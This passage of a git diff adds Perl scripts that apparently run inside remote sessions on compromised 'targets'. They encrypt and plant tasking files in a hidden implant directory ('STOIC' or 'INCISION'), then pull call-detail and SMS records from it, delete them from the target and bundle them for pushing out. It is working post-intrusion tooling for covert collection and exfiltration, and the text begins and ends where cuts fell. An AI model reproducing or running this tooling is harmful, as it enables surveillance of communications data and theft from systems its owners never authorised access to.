= ""; + $newargfile = $longans + if ($longans ne "none" and -f $longans); + if ($newargfile) { + # $newargfile = s,/+,/,g; + dbg("longans=$longans= +newargfile=$newargfile= +newfile=$newfile="); + my $bn = basename($newargfile); + my $newfile = "$downroot/$bn"; + unless ($newfile eq $newargfile) { + preservefile($newfile); + copy($newargfile,$newfile); + $newargfile = $newfile; + } + `dos2unix $newargfile`; + chomp(my $test = `file $newargfile | grep -iv ascii`); + chomp(my $test2 = `sort $newargfile > $newargfile.sorted ; file $newargfile.sorted | grep -iv ascii ; rm $newargfile.sorted`) + if $test; + if ($test and $test2) { + $more2 = "\n$COLOR_FAILURE\nFILE IS NOT ASCII: $test\n$COLOR_NORMAL\n"; + unlink($newargfile); + $newargfile = ""; + next; + } + progprint("Copied $longans to $newargfile, dos2unix'd it if need be:\n\n". + `ls -al $longans $newargfile | sort -u`."\n". + `file $longans $newargfile | sort -u`."\n"); + + $encargfile = $newargfile; + $encargfile =~ s/\.txt//; + $encargfile .= ".enc" unless ($encargfile =~ /\.enc$/); + my $cmd = "cryptTool -i $newargfile -o $encargfile -k $cryptkey -b 2>&1"; + progprint($COLOR_NORMAL."\n\n". + "Encrypting argfile with:\n $cmd\n\n". + `$cmd`); + mydie("Encrypting argfile failed, $encargfile does not exist") + unless (-f $encargfile); + chomp($test = `file $encargfile | grep -vi "data\$"`); + if ($test) { + offerabort($COLOR_FAILURE."\n\nENCRYPTION MAY HAVE FAILED:\n$COLOR_NORMAL\n". + "file $encargfile\n". + $test."\n\n". + "You should probably abort.","ABORT"); + } + } + } + return unless ($newargfile and $encargfile); + my ($tmppath,$longlist,$output,$nopenlines,@list,@tmp) = (); + foreach my $path (@remotepaths) { + # Remove the escape here we use quotes + $path =~ s,\*.*,\*,; + # We force $path to have a / in there near the beginning, even if ./ + $path = "./$path" unless ($path =~ m,^/,); + ($output,$nopenlines,@tmp) = + doit("-ls -d $path"); + foreach (@tmp) { + s,.*root ,,; + push (@list,$_); + s,.*\s\d\d\d\d\s((\.*)/),\1,; +#Do not use spaces +# $_ = "\"$_\"" if (/\s/); + push(@actionpaths,$_); + $tmppath = dirname($_); + } + } + $tmppath = "." if (!$tmppath); + my $default = ""; + ($default) = grep /erf/,@actionpaths; + $default = $actionpaths[0] unless (length $default); + my $ies = "ies"; + $ies = "y" unless (@actionpaths > 1); + ($ans,$longans) = mygetinput + ("Start action director$ies found:\n". + #"tmppath=$tmppath=\n". + join(" \n",@list)."\n\n". + "Argfile has been encrypted:\n\n". + `ls -al $downroot/argfile.$nopen_rhostname* 2>&1 | grep -v enc`. + `ls -al $downroot/argfile.$nopen_rhostname* 2>&1 | grep enc`."\n\n". + `file $downroot/argfile.$nopen_rhostname* 2>&1 | grep -v enc`. + `file $downroot/argfile.$nopen_rhostname* 2>&1 | grep enc`."\n\n". +"\n\n\n +actionpaths[0]=$actionpaths[0]= +dbg: default=$default=\n\n\n". + "Which start action directories do you want to upload the new argfile to\n". + "(enter them, directory name only, space delimited, or enter \"all\")?", + $default + ); + + mydie("User aborted") + if (lc $longans eq "abort"); + + unless ($longans eq "all") { + @actionpaths = split(/\s+/,$longans); + } + my $eachof = " each of" + if (@actionpaths > 1); +#offerabort("tmppath=$tmppath= Uploading once to $tmppath, then copying to$eachof (@actionpaths)."); + + ($output,$nopenlines,@output) + = doit("-put $encargfile $tmppath/$argname"); +dbg("output=$output="); +#TODO: This test failed +# mydie("\n\nUpload of argfile failed, you have cleanup to do.") +# unless ($output =~ m,-.* $tmppath/$argname$,); + my ($newname) = ($argname); + if ($argname =~ /(\d)$/) { + $newname =~ s,\d$,,; + } + foreach my $path (sort @actionpaths) { + unless ($path =~ /^\S+/) { + progprint("$COLOR_FAILURE\n\nRefusing to use path=$path=!!!!\n\n". + "Would result in cp $tmppath/$argname $path/$newnameN"); + sleep 5; + next; + } + my ($list,$ext) = (); + my ($moreerr,@actiondests) = (); + while (1) { + my ($ans,$longans) = mygetinput + ($moreerr. + "How many different start actions are in $path (i.e., how many copies of\n". + "adm1 need to be put in $path, adm1 ... admN)?",1 + ); + mydie("User aborted") if (lc $longans eq "abort"); + if ($longans !~ /^\d+$/ or + $longans < 1) { + $moreerr = "$COLOR_FAILURE\n\nINVALID ANSWER: $longans\n\n"; + next; + } + for (my $i=1;$i<=$longans;$i++) { + push(@actiondests,$i); + } + last; + } + my $dowhat = ""; + foreach my $ext (@actiondests) { + $dowhat .= " ; " if $dowhat; + $dowhat .= "cp $tmppath/$argname $path/$newname$ext"; + $longlist .= " $path/$newname$ext"; + $list .= " $path/$newname$ext"; + } + ($output,$nopenlines,@output) + = doit("$dowhat ; ls -al $list"); + } + doit("-rm $tmppath/$argname"); + + progprint("Sleeping 5s, see if they are gone yet...."); + sleep 5; + ($output) = doit("-ls $longlist"); + if ($output) { + ($output) = doit("-ls $longlist"); + progprint($COLOR_FAILURE."\n\nOne or more argfiles is still there, check again later") + if ($output); + sleep 7; + } + return "\n$COLOR_FAILURE\n$output\n\n". + "One or more argfiles is still there, something is likely wrong with ER.\n\n". + "Press return to continue." if $output; + return ""; +} + +sub makekeyfile { + return unless ($cryptkey); + my ($sec,$min,$hr,$mday,$mon,$year,$wday,$yday,$isdst,$monstr) = + gmtime(); + $monstr = $mons[$mon]; + my $ext = sprintf("%02d%3s%04d",$mday,$monstr,$year); + my $keyfile = "$downroot/cryptkey.$nopen_rhostname.enemyrun.$ext"; + open(KEYOUT,">$keyfile"); + print KEYOUT "$cryptkey\n"; + close(KEYOUT); + return $keyfile; +} + +sub packitup { + local ($forcepack) = (@_); + my ($countpulledbefore) = (); + $countpulledbefore = $collcountbefore + $logcountbefore; + newhostvar("host_dirpushed{$logroot}",0) + unless $host_dirpushed{$logroot}; + newhostvar("host_dirpushed{$collroot}",0) + unless $host_dirpushed{$collroot}; + # We toss the dummy entry of "1" that we first put in here. + shift @ourfilespulled if ($ourfilespulled[0] eq "1"); + if ($splitcount > 1) { + for ($parti=2;$parti<=$splitcount;$parti++) { + if (open(CDRIN,"$optmp/DONE.getcdrhits.$nopen_rhostname.$parti.of.$splitcount")) { + while () { + chomp; + next if /^\s*\#/; + next if ($_ eq "1"); + push (@ourfilespulled,$_); + } + close(CDRIN); + } + unlink("$optmp/DONE.getcdrhits.$nopen_rhostname.$parti.of.$splitcount"); + } + } + my $srcroot = "$opdown/$nopen_rhostname"; + my (%oldfilespulled) = (); + #Never used this: +# foreach my $line (@oldcdroutput) { +# chomp; +# my ($type,$inodes,$user,$group,$size,$monstr, +# $mday,$hm,$y,$filename,@morefilename) +# = split (/\s+/,$line); +# next unless ($type eq "-"); +# if (@morefilename) { +# my ($newfilename) = $line =~ /\s($filename\s.*)/; +# $filename = $newfilename if (length $newfilename); +# } +# if (-f "$srcroot/$filename") { +# push (@ourfilespulled,$filename); +# $oldfilespulled{$filename}++; +# } +# } + my $filecount = @ourfilespulled; + my $plusmore = ""; +#UNUSED: +# $plusmore = "(which includes ".(scalar keys %oldfilespulled)." pulled previously)" +# if (scalar keys %oldfilespulled > 0); + if ($filecount) { + chdir($srcroot) + or mydie("Cannot cd to /current/down/$nopen_rhostname to decrypt"); + if ($heredecrypt) { + mygetinput(".\nAbout to decrypt all $filecount files just pulled$plusmore,\n". + "writing new .txt files to $collroot via:\n $COLOR_FAILURE\n\n". + " cryptTool -i SRCFILE -o DSTFILE.txt -k $cryptkey -d -c -b\n\n". + $COLOR_NORMAL. + "where SRCFILE is from $srcroot\n". + "and DSTFILE.txt will be put beneath\n". + "$collroot.\n". + "Original encrypted files will also be put there.\n\n". + "A \"w\" will be done on target every 45 seconds until this is complete.\n\n". + "Hit Return to continue." + ); + } else { + mygetinput(".\nAbout to copy all $filecount encrypted files just pulled$plusmore\n". + "to $collroot.\n\n". + "As a test, the first one will be decrypted via:\n $COLOR_FAILURE\n\n". + " cryptTool -i SRCFILE -o DSTFILE.txt -k $cryptkey -d -c -b\n\n". + $COLOR_NORMAL. + "\n\n". + "A \"w\" will be done on target every 45 seconds until this is complete.\n\n". + "Hit Return to continue." + ); + } + my $runoutput = ""; + my ($testfail,$testdone) = (); + my $whatted = "copied"; + $whatted = "decrypted" if ($heredecrypt); + # 20100420: Same loop here does either decrypt or copy, defaults now to copy. + my $logext = "000"; + while (-f "$logroot.$logext") { + $logext = sprintf("%03d",$logext + 1); + } + my $collext = "000"; + while (-f "$collroot.$collext") { + $collext = sprintf("%03d",$collext + 1); + } + if ($logcountbefore or $collcountbefore) { + if ($logcountbefore) { + # For the logs, we don't care whether $host_dirpushed{$logroot} + # indicates old ones have been pushed or not, merging and pushing + # twice is no issue. + my ($ans) = mygetinput + ("There are already $logcountbefore files in $logroot.\n\n". + "You can set those aside to separate the new ones about to be downloaded from\n". + "the old. Even if they were already pushed up (we normally don't), it\n". + "will not really matter if old and new logs are combined and then pushed--they.\n". + "are read manually, anyways.\n\n". + "Do you want to move\n". + " $logroot\n". + " to $logroot.$logext?","N" + ); + if ($ans eq "y") { + rename($logroot,"$logroot.$logext"); + `mkdir $logroot`; + newhostvar("host_dirpushed{$logroot}",0); + } + } + if ($collcountbefore and $host_dirpushed{$collroot}) { + my ($ans) = mygetinput + ("There are already $collcountbefore files in $collroot,\n". + "and it appears they have already been pushed up (you should know if they were).\n\n". + "You can set those aside to separate the new ones about to be downloaded from\n". + "the old. But if you did not yet push the old, or you want to merge the old\n". + "and new and push again, you can leave them where they are and the new ones\n". + "will be combined with the old. They will then be pushed up together.\n\n". + "Do you want to move\n". + " $collroot\n". + " to $collroot.$collext?","N" + ); + if ($ans eq "y") { + rename($collroot,"$collroot.$collext"); + `mkdir $collroot`; + newhostvar("host_dirpushed{$collroot}",0); + } + } + } + $countdone = 0; + foreach my $remotepath (@ourfilespulled) { + my $srcfile = "$srcroot/$remotepath"; + my $localsrcdir = dirname($srcfile); + my $localdestdir = "$collroot/".dirname($remotepath); + my $thisdecrypt = $heredecrypt; + my $thisislog = 0; + my $otherlogstr = 0; + foreach my $otherstr (@otherskipstrs) { + # Special case for one target, bb5e8 == log + $otherlogstr++ + if $remotepath =~ /$otherstr/; + } + if ($otherlogstr or + $remotepath =~ /log/i) { + $thisislog++; + # per file decision, logs always decrypted + $thisdecrypt = 1; + $localdestdir = "$logroot/".dirname($remotepath); + } + my $newfile = basename($remotepath); + my ($tickleoutput,$nopenlines,@output) = tickleifneedbe(0,"w",45); + if ($runoutput or $tickleoutput or ($countdone and !($countdone % 300))) { + my $graphic = graphic(1+$countdone,$filecount,80); + $runoutput .= "\n\n" if $runoutput; + progprint("$COLOR_NORMAL\n". + $runoutput. + "$countdone of $filecount files $whatted\n". + "$COLOR_SUCCESS\n$graphic"); + $runoutput = ""; + } + #do copy/decryption locally, make sure environment makes sense + unless (-d $localsrcdir and -f $srcfile and -s $srcfile) { + dbg("$prog ODD: $localsrcdir not a directory") unless (-d $localsrcdir); + dbg("$prog ODD: $srcfile not a file") unless (-f $srcfile); + dbg("$prog ODD: $srcfile is empty") unless (-s $srcfile); + mywarn("THIS IS ODD, REPORT IT:\n\n". + " (-d $localsrcdir and\n". + " -f $srcfile and\n". + " -s $srcfile)\n\n". + " THIS SHOULD BE TRUE AND IS NOT. Skipping this one:\n". + " $srcfile."); + sleep 3; + next; + } + $countdone++; + my $dbgmore = ""; + unless (-d $localdestdir) { + $runoutput .= `mkdir -vp $localdestdir 2>&1`; + $dbgmore .= "mkdir -vp $localdestdir 2>&1\n"; + } + # Rename() instead? No want this. + # We copy regardless of whether we decrypt or not + if (-f "$localdestdir/$newfile") { + chomp(my $test = `diff $srcfile $localdestdir/$newfile 2>/dev/null | wc -l`); + if ($test > 0) { + preservefile("$localdestdir/$newfile"); + } else { + unlink("$localdestdir/$newfile"); + } + } + copy($srcfile,"$localdestdir/$newfile") + or mydie("$prog cannot copy($srcfile,$localdestdir/$newfile): $!"); + $newfile .= ".txt" + if $thisdecrypt; + # So if not decrypting here, we test only the one file, once tested we wipe + # the decrypted one, the other is still there as $newfile without $testext. + + # Remainder of loop is decrypting/testing + while ($thisdecrypt or !$testdone) { + my $testext = ""; + $testext = ".test" if (!$thisdecrypt); + my $cmd = "cryptTool -i $srcfile -o $localdestdir/$newfile$testext -k $cryptkey -d -c -b 2>&1"; + my $runoutputnew = `$cmd`; + my $err = $?; + $runoutput .= $runoutputnew; + dbg("RUNNING locally via backticks:\n\n". + $dbgmore." +thisdecrypt=$thisdecrypt= +heredecrypt=$heredecrypt= +testdone=$testdone=\n\n\n". + "cryptTool -i $srcfile -o $localdestdir/$newfile$testext -k $cryptkey -d -c -b 2>&1". + "\n\nGAVE OUTPUT:\n\n". + $runoutputnew); + # Cannot do this, $err returned is > 0 even when it works right. + # if ($err) { + ## my ($ans,$longans) = mygetinput + # mydie + # (".$COLOR_FAILURE\n\n". + # "We have a problem with cryptTool, ERR=$err was returned running:\n". + # "$COLOR_NORMAL\n". + # "$cmd\n\n". + # "You may be able to fix this manually." + ## "We might be able to fix this. Enter a new key to try (all hex):" + # ); + # } + last if (!$thisdecrypt and $testdone); + unless ($testdone) { + my $test = `file $localdestdir/$newfile$testext`; + $test =~ s,\s*$,,g; + # Sometimes file gets confused, if top line looks right we override file's results. + unless ($test =~ /ascii/i) { + #TODO: This test is coming up as some picture crap, find a better testing method + #example: exec=CURSEHYDRANT; ver=6.1.0.2; os=HP-UX B.11.00 + chomp(my $head = `head -1 $localdestdir/$newfile$testext`); + my ($a,$b,$c,) = $head =~ /^\#exec=(\S+).*ver=(\S+).*os=(\S+)/; + $test = "ascii" if ($a and $b and $c); + } + if ($test =~ /ascii/i) { + $testdone++; + dbg("$prog decrypted $test"); + unless ($thisdecrypt) { + # So if not decrypting here, we test only the one file, once tested we wipe + # the decrypted one, the other is still there as $newfile without $testext. + unlink("$localdestdir/$newfile$testext"); + last; + } + if ($testfail) { + mygetinput("file $localdestdir/$newfile$testext\n". + $test. + "head -5 $localdestdir/$newfile$testext\n". + `head -5 $localdestdir/$newfile$testext`. + "\n\nThis key worked. Press Enter to continue."); + } + } else { + $testfail++; + my ($ans,$longans) = mygetinput + (".$COLOR_FAILURE\n\nWe$COLOR_NOTE MAY$COLOR_FAILURE have a problem with cryptTool, ERR=$err was returned running:\n$COLOR_NORMAL\n". + "$cmd\n\n". + "Worse, file $localdestdir/$newfile$testext reports:\n". + $test. + "This is NOT expected, but we might be able to fix this if that was the wrong key.\n". + "Can you provide the right key?\n\n". + "Choose one of:\n". + " - Enter a new key;\n". + " - Enter ABORT (we stop $prog entirely);or \n". + " - Enter GOAHEAD (we continue and ignore this from now on).\n\n". + "Your answer:" + ); + $cryptkey = $longans + if ($longans =~ /^[a-f0-9]+$/); + if ($longans eq "ABORT") { + chomp(my $listing = `ls -al $collroot $logroot 2>/dev/null`); + mydie((length $listing + ? ("If you run $prog again, this data will still be there to push later:\n\n". + "ls -al $collroot $logroot:\n".$listing. + "\n\n") + : ("") + ). + "User aborted"); + } + if ($longans eq "GOAHEAD") { + $testdone++; + } + } + } + last if ($thisislog and $testdone); + } + } + mydie("NO FILES DECRYPTED HOW CAN THIS HAPPEN?") unless ($countdone); + # rmdir only removes if empty, ignore error + `rmdir $collroot $logroot 2>/dev/null`; + } + my $stamp = timestamp(short); + my $alsodecrypted = " encrypted"; + $alsodecrypted = " encrypted AND decrypted" if $heredecrypt; + if ($projectname and ($forcepack or $countpulledbefore or $countdone)) { + #Will tar all decrypted collection, data in one file, logs in another + if (-d $collroot) { + chomp($collcountafter = `find $collroot -type f | wc -l`); + chomp($logcountafter = `find $logroot -type f | wc -l`); + copy($keyfile,$collroot); + my $prefix = "cdrhits"; + $prefix .= ".$projectname" if $projectname; + progprint(".\n". + "$COLOR_FAILURE\n". + "$prog will now tar all$alsodecrypted data. If more than\n". + "one run of $prog is used, the final tarball pushed will contain\n". + "data from ALL runs on $nopen_rhostname. You can answer NO\n". + "when copy-fast asks you about pushing if you know FOR SURE you will\n". + "be running this again later this op.\n\n". + "The file pushed will contain \"$prefix\".\n". + "(but copy-fast will insert a timestamp in it)"); + tickleifneedbe(0,"w",45); + my @packdir = ("./"); + newhostvar("host_dirpushed{$logroot}",1); + newhostvar("host_dirpushed{$collroot}",1); + offerball($forcepush,"$prefix.","",$collroot,\@packdir); + sleep 3 if (-d $logroot); + } + if (-d $logroot) { + copy($keyfile,$logroot); + my $prefix = "cdrlogs"; + $prefix .= ".$projectname" if $projectname; + progprint(".\n". + "$COLOR_FAILURE\n". + "$prog will now tar all log data (encrypted and decrypted). If more than\n". + "one run of $prog is used, the final tarball pushed will contain\n". + "data from ALL runs on $nopen_rhostname. You can answer NO\n". + "when copy-fast asks you about pushing if you know FOR SURE you will\n". + "be running this again later this op.\n\n". + "The file pushed will contain \"$prefix\".\n". + "(but copy-fast will insert a timestamp in it)"); + tickleifneedbe(0,"w",45); + my @packdir = ("./"); + offerball($forcepush,"$prefix.","",$logroot,\@packdir); + } + } else { + mywarn("NO DATA COLLECTED so NONE PUSHED!!"); + } +}#packitup + + +# SUBROUTINES + +sub sortlistingonsize { + # Given file listing array, return array sorted on size + local (@listing) = (@_); + # Hash of strings, $sizehash{size} = all entries in @listing + # (concatenated with newline) of that size. + my %sizehash = () ; + foreach (@listing) { + chomp; + my ($size,$month,$path) = + m,^.*\s+(\d+)\s+(Jan|Feb|Mar|Apr|May|Jun|Jul|Aug|Sep|Oct|Nov|Dec).*\d{4}\s+(/.*)$, ; + $sizehash{$size} .= "\n" + if ($sizehash{$size}); + $sizehash{$size} .= "$_"; + } + my @retval = (); + foreach my $size (sort by_num keys %sizehash) { + push(@retval,split(/\n/,$sizehash{$size})); + } + return @retval +} + +## BELOW MAYBE USE LATER BUT NOT USED NOW + + +createtarball_getcdrhits(); # this exits if they say no. +mymydie + ("\n\n". + "Creating this archive in the background:\n\n". + " $newball" + ); + + +## END MAIN ## + +sub createtarball_getcdrhits { + my $todaystamp = timestamp(short); + my $newball = "${nopen_rhostname}_${todaystamp}.tar.bz2"; + my ($ans) = mygetinput + ($COLOR_NOTE. + "$prog is done processing:\n$COLOR_FAILURE\n\t".join("\n\t",@paths). + "\n$COLOR_NOTE\n". + "See $destdir for local data.\n\n". + "You can now create a fresh tarball in $opdir of the target data called:\n". + " $newball\n\n". + "Do you want to create it?", + "Y" + ); + mymydie + ("\n\n". + "ls -alrtR $destdir\n". + `cd $destdir ; ls -arltR`."\n$COLOR_FAILURE\n". + "$prog is done.\n\n". + "Data can be found locally (see listing above) but NOT in a tarball yet.\n". + "Here is a pastable to make one:\n\n". + "cd $destdir ; tar cvjf $opdir/$newball .\n\n" + ) unless ($ans eq "y"); + + # If we continue, fork, parent creates tarball in background, + # child exits # If they wanted the tarball, fork/close here releases the + # NOPEN window that called us, we popup an xterm once tarball + # is done. + return if fork; + close(STDOUT); + close(STDIN); + close(STDERR); + close($socket); + my $taroutfile = "$optmp/.autogetcdrhits.$$"; + my $tarcmd = "cd $destdir ; tar cvjf $opdir/$newball . 2>&1"; + if (open(OUT,"> $taroutfile")) { + print OUT + "\n\n". + $COLOR_FAILURE. + gmtime(). + "\n\nNow tarring up the results with:\n\n". + $COLOR_NOTE. + $tarcmd."\n\n". + $COLOR_NORMAL. + " made by: $prog $origargs\n". + " on: $nopen_rhostname\n\n". + "Verbose tar output will follow when it is done:\n\n"; + close(OUT); + if (fork()) { + exec("xterm -title autogetcdrhits_${nopen_hostonly}_now_building_$newball". + "-ut +cm +cn -sk -sb -sl 15000 -geometry 68x67+720+26 -e tail -50f $taroutfile"); + exit; + } + sleep 2; + if (open(OUT,">> $taroutfile")) { + if (open(GETCDRHITSIN,"$tarcmd |")) { + while () { + print OUT; + } + close(GETCDRHITSIN); + } + print OUT "\n\n".gmtime()."\n\n$tarcmd\n\nCommand is done:\n\n". + `cd $opdir ; ls -alrth $newball`. + $COLOR_FAILURE."\n\n". + "(close this window with Ctrl-C anytime.)\n$COLOR_NORMAL\n"; + close(OUT); + } + } +}#createtarball + +sub myinit { + $willautoport=1; + my $autoutils = "../etc/autoutils" ; + unless (-e $autoutils) { + $autoutils = "/current/etc/autoutils" ; + } + require $autoutils; + $prog = "-gs getcdrhits"; + $vertext = "$prog version $VER\n" ; + mydie("No user servicable parts inside.\n". + "(I.e., noclient calls $prog, not you.)\n". + "$vertext") unless ($nopen_rhostname and $nopen_mylog and + -e $nopen_mylog); + + $usagetext=" +Usage: $prog [-h] (prints this usage statement) + +NOT CALLED DIRECTLY + +$prog is run from within a NOPEN session when \"$prog\" or +\"=getcdrhits\" is used. + +"; + + my $destdir_tmp = "$opdown/\$nopen_rhostname/via-gs.getcdrhits"; + $destdir = "$opdown/$nopen_rhostname/via-gs.getcdrhits"; + $destdirname = "$nopen_rhostname/via-gs.getcdrhits"; + + $bailfile = "$optmp/BAILGETCDRHITS.$$"; + + @defpaths = ("er*/aux_*/output/final"); + @deflogpath = ("er*/logs/final"); + + $gsusagetext=" +Usage: $prog [options] [HIDDENPATH/TO/REMOTE/FILE-OR-DIR [PATH/2 ..]] + +$prog handles tasking and collection for targets running ER and one +or more parsers. For targets where only argfile tasking is needed, after +the argfiles are handled you have an opportunity to abort before any +collection begins (or you can use the -t/Task only option). + +$prog first looks for your argfile in $opdir and /mnt/zip. If it +finds one, it prompts with that as the default. When given an argfile to to +process, it is encrypted and uploaded. You are then prompted which directories +to put it in and how many start actions are in each. (Enter \"none\" to skip +argfile tasking entirely.) + +$prog then uses -ls and -get to find and then pull all CDR** hits +found in the target's STOIC or INCISION hidden directory. It then removes the +target files it just pulled. + +** We generically use the term CDR here and in the filename pushed, but the +data collected may be some subset of several varieties (e.g., cdr, sms, etc.), +the exact nature of which is immaterial here. + +If none are provided, the target paths retrieved will be: + +"; + foreach $thispath(@defpaths) { + $gsusagetext .= " $thispath\n"; + } + $gsusagetext .= " +OPTIONS + -h/-v Show usage/version + -O Perform decryption locally (defaults to elsewhere now) + -L paths \",,\" delimited list of ENEMYRUN log locations + (relative to the hidden dir) [@deflogpath] + -s N,M Split the pull M ways, this window is N of M. Lets several windows + share the load. The 1,M instance will provide pastables for you to + run the other instances. The files are split fairly evenly by size, + each instance taking a large then a small file until the list is + exhausted. Use M between 3-5 for best performance. + -l list List of remote PATHS to getcdrhits (blank/#comment lines ignored) + -b exprs Blacklist: getcdrhits will NOT pull/delete files matching these + regular expressions (skip files that match), for each expr given + (\",,\" delimited, no whitespace) + -d dir Source directory on target (default is STOIC hidden directory) + -D key Decrypt key (required) (Must use key the parser is running with) + -T proj Project, used in the tarball filename created/pushed. (required) + -F Force re-pulls of files pulled in previous $prog instance + -t Perform argfile tasking only, without collection. + -M max Set the max (in MB) we allow our bwmonitor to reach, downloads + will stop when we reach that level. (default is unlimited) + +Usage: $prog [options] [HIDDENPATH/TO/REMOTE/FILE-OR-DIR [PATH/2 ..]] + +"; + + my $notused = " + -U Do NOT re-use the target -ls of this/these PATHs if done + before. Use -U if you want to collect data newer than the first + run of $prog, if any. +"; + mydie("bad option(s)") if (! Getopts( "hvl:d:L:b:D:T:Os:a:tFM:" ) ) ; + ($bwmax,$maxdownload) = (); + if ($opt_M > 0 and $opt_M =~ /^\d+$/) { + $bwmax = "MAXDOWNLOAD=$opt_M"; + $maxdownload = $opt_M; + } + $forcereget = defined $opt_F ? "FORCEREGET" : ""; +# my $reusels = defined $opt_U ? "U" : ""; + $taskonly = $opt_t; + + my $def_a = "adm1"; + $argname = defined $opt_a ? $opt_a : $def_a; + mydie("-a $opt_a cannot contain /") + if ($argname =~ m,/,); + + if ($listfile = $opt_l) { + mydie("-l $listfile must be a local file listing remote paths") + unless (-f $listfile and -s $listfile); + } + if ($skipexpr = $opt_b) { + mydie("-b \"$skipexpr\" cannot contain whitespace") + if $skipexpr =~ /\s/; + my @exprs = split(/,,/,$skipexpr); + $skipexpr = ""; + foreach (@exprs) { + $skipexpr .= "\|$_"; + } + } + mydie("-s $opt_s not valid, must be 0 < N <= M") + unless (!$opt_s or + ($opt_s =~ /^(\d+),(\d+)$/ and $1 <= $2 and $1 > 0)); + ($mysplitpart,$splitcount) = ($1,$2) if $opt_s; + $mysplitpart = 1 unless $mysplitpart; + $skipexpr =~ s/^\|//; + usage() if ($opt_h or $opt_v); + $olddatafile = $opt_f; +#dbg("verbose=$verbose= opt_V=$opt_V"); + + $socket = pilotstart(quiet); + + if ($opt_d) { + $srcdir = $opt_d; + } else { + my @multiplehidden = (); + ($srcdir) = gethiddendir(0,0,\@multiplehidden); + if (@multiplehidden > 1) { + my %multiplehidden = (); + foreach (@multiplehidden) { + $multiplehidden{$_}++; + } + my $default = ""; + foreach my $dir (@multiplehidden) { + my ($output,$noutput,@lines) = + doit("-ls -d $dir/er*"); + next unless $output; + $default = $dir; + } + my $more = ""; + $more = "\nAt least one seems to have er* directories (see above)." + if $default; + while (1) { + my ($ans,$longans) = mygetinput + ("There are multiple STOIC-style directories.$more\n\n". + "Enter ABORT here to abort.\n\n". + "Which should we use?",$default); + mydie("User aborted") if ($ans eq "a"); + if ($multiplehidden{$ans}) { + $srcdir = $longans; + last; + } + $more = "You must enter one of the hidden directories.\n\n$more" + unless ($more =~ /You must enter/); + } + } + ($srcdir2) = ($srcdir); + mydie("Hidden directory not found, use -d to point\n". + "to directory data can be found in.") + unless $srcdir; + } + if ($opt_D) { + $cryptkey = $opt_D; + mydie("-D $cryptkey is not a string of hex digits") + unless ($cryptkey =~ /^[a-f0-9]+$/); + } else { + mydie("-D KEY is now a required field"); + } + $heredecrypt = $opt_O; + if ($opt_T) { + $projectname = $opt_T; + } else { + mydie("NEW: -T PROJECTNAME is now required."); + } + $forcepush = 1 if $projectname; + + if ($opt_L) { + @remotelogpath = split(",,",$opt_L); + } else { + @remotelogpath = @deflogpath; + } + + if (@ARGV) { + @remotepaths = @ARGV; + } else { + @remotepaths = @defpaths; + } + if ($listfile) { + if (open(GETCDRHITSIN,$listfile)) { + while () { + s/^\s*//; + s/\s*$//; + next if /^#/; + push(@remotepaths,$_) if $_; + } + close(GETCDRHITSIN); + } else { + mydie("Cannot open $listfile"); + } + } + @remotepaths = uniqify_array(@remotepaths); +} #myinit + diff --git a/Linux/etc/autogetcdrhitsgz b/Linux/etc/autogetcdrhitsgz new file mode 100755 index 0000000..cd5a7a8 --- /dev/null +++ b/Linux/etc/autogetcdrhitsgz @@ -0,0 +1,1347 @@ +#!/usr/bin/env perl +## +$VER="1.2.1.4"; + +# TODO: Have the -W process popup the ps output of our watcher process. + +$| = 1 ; + +my (@cuplines,$cdroutput,$cdrnopenlines,@cdroutput) = (); +$cryptkey=""; +$cupname = ""; + +myinit() ; + +# ASSERT: pulling data from %pathmasks +my @lssargs = ("-ZF"); +push(@lssargs,"-V$opt_b") if $opt_b; + +doit("mkdir -p $workdir"); + +my @completelssoutput = (); +foreach my $dirmask (sort keys %pathmasks) { + my ($year,$mon,$day) = (); + my $filemask = $pathmasks{$dirmask}; + my ($yearstart,$monthstart,$daystart) = $mindate =~ /^(\d{4})(\d\d)(\d\d)/; + my ($yearend,$monthend,$dayend) = $maxdate =~ /^(\d{4})(\d\d)(\d\d)/; +dbg(" OUTSIDE YEAR + (yearstart,monthstart,daystart) = ($yearstart,$monthstart,$daystart) = $mindate + (yearend,monthend,dayend) = ($yearend,$monthend,$dayend) = $maxdate +"); + + for ($year = $yearstart ; $year <= $yearend ; $year++) { +dbg("OUTSIDE MONTH +year=$year= +"); + $monthstart = 1 if ($year > $yearstart); + for ($mon = $monthstart ; ($year != $yearend or $mon <= $monthend) ; $mon++) { +dbg(" OUTSIDE DAY +year=$year= +mon=$mon= +"); + if ($mon >= 13) { + last; + } + $daystart = 1 if ($mon > $monthstart or $year > $yearstart); + my $badday = 0; + for ($day = $daystart; $day <= 31; $day++) { +#dbg("INSIDE DAY +#year=$year= +#mon=$mon= +#day=$day= +#"); + + last if ($day > $dayend and + $mon == $monthend and + $year == $yearend + ); + if ($day > 31 or + ($day > 29 and $mon == 2) or + ($day > 30 and ($mon == 9 or $mon == 11 or $mon == 4 or $mon == 6)) + ) { + $badday++; + last; + } + my $dirmask2 = $dirmask; + my $filemask2 = $filemask; + my $ymdate = sprintf("%04d%02d%02d",$year,$mon,$day); + my $yearmon = sprintf("%04d%02d",$year,$mon); + $filemask2 =~ s/YYYYMMDD/$ymdate/; + $dirmask2 =~ s/YYYYMM/$yearmon/; +dbg("GOT: +dirmask2=$dirmask2= +dirmask=$dirmask= +filemask=$filemask= +pathend=$pathend= + +lssargs=(@lssargs) + +"); + my ($output,$nopenlines,@output) = + nopenlss(@lssargs,"$dirmask2$filemask2$pathend"); + push(@completelssoutput,@output); + } + if ($badday) { + $badday = 0; + } + } + } +} + +mydie("No target files found from $mindate to $maxdate") + unless @completelssoutput; + +# TODO: add =df check of file system size + + + +dbg(" + +".join("\n",@completelssoutput)." + +Those were the ".scalar @completelssoutput." entries in \@completelssoutput. + + + +WHOA, Nelly! + + +"); + + +# OK, good to go. We process $processcount at a time +my $done = 0; + +my ($bytecount,$filecount) = (0,0); + +mkdir($datadir); + +my ($postdfoutput,@postdfoutput,$postdfpct,$skiprm) = (); +while (! $done) { + + my @nextbatch = splice(@completelssoutput,0,$processcount); + my @originalfiles = (); + my $list = ""; + my ($uncompress,$gz,$Z,$bz2) = (); + my ($skipbatch,$datafile) = (); + foreach (@nextbatch) { + $filecount ++; + my ($size,$mon,$file) = m,\s\d+\s+\S+\s+\S+\s+(\d+)\s+(Jan|Feb|Mar|Apr|May|Jun|Jul|Aug|Sep|Oct|Nov|Dec).*\d\d:\d\d \d\d\d\d (/.*),; + if ($file =~ /\.gz$/ and !$gz++) { + $gunzipopts = getverboseopt("gunzip") unless (length $gunzipopts); + $uncompress .= "; " if $uncompress; + $uncompress .= "gunzip$gunzipopts $workdir/*.gz"; + } elsif 